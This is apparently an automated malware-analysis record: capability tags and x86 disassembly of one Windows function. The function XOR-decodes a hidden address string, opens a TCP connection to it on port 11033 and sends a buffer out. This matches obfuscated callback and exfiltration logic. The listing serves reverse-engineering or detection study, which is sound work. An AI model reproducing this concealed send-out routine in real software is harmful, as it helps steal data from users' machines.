Function at 0x10001d70
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10004908
mov eax, dword fs:[0]
push eax
sub esp, 0x1e8
mov eax, dword [0x10007004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov al, 0x42
mov bl, al
mov byte [ebp - 0x1c9], al
mov byte [ebp - 0x1d8], 0x7a
mov cl, 0x4a
xor al, byte [ebp - 0x1d8]
mov dl, 0x43
xor cl, byte [ebp - 0x1d8]
mov ah, dl
mov byte [ebp - 0x1d7], al
mov ch, 0x4d
mov al, byte [ebp - 0x1c9]
mov dh, 0x4f
mov byte [ebp - 0x1d6], cl
mov bh, ah
mov cl, byte [ebp - 0x1d8]
xor al, cl
mov byte [ebp - 0x1ca], ah
xor dl, cl
mov byte [ebp - 0x1cf], al
mov al, byte [ebp - 0x1ca]
xor ch, cl
xor dh, cl
mov byte [ebp - 0x1d2], ch
xor bl, cl
mov byte [ebp - 0x1cd], 0
xor ah, cl
mov byte [ebp - 0x1d5], dl
xor bh, cl
mov byte [ebp - 0x1d1], dh
xor al, cl
mov dword [ebp - 0x1f0], 0
lea ecx, [ebp - 0x1d7]
mov byte [ebp - 0x1d4], bl
mov byte [ebp - 0x1d3], ah
lea edx, [ecx + 1]
mov byte [ebp - 0x1d0], bh
mov byte [ebp - 0x1ce], al
mov byte [ebp - 0x1cd], 0
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001e70
sub ecx, edx
lea eax, [ebp - 0x1d7]
push ecx
push eax
lea ecx, [ebp - 0x1f0]
call fcn.100026f0
sub esp, 0x18
mov byte [ebp - 4], 1
lea edx, [ebp - 0x1f0]
mov ecx, esp
mov bl, 1
call fcn.10001a50
mov dl, bl
lea ecx, [ebp - 0x28]
call fcn.10001440
mov edx, dword [ebp - 0x1dc]
add esp, 0x18
cmp edx, 0x10
jb 0x10001ee9
mov ecx, dword [ebp - 0x1f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10001edf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001fd9
push edx
push ecx
call fcn.10003a9d
add esp, 8
lea eax, [ebp - 0x1c8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10001f71
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001f6b
mov eax, 2
push 0x2b19
mov word [ebp - 0x38], ax
call dword [sym.imp.WS2_32.dll_htons]
cmp dword [ebp - 0x14], 0x10
mov word [ebp - 0x36], ax
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x38]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push 0
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x10001fa1
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10001f97
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001fd9
push edx
push ecx
call fcn.10003a9d
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp edx, 0x10
jb 0x10001fe9
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10001fdf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001fdf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.10003a9d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10003a5f
mov esp, ebp
pop ebp
ret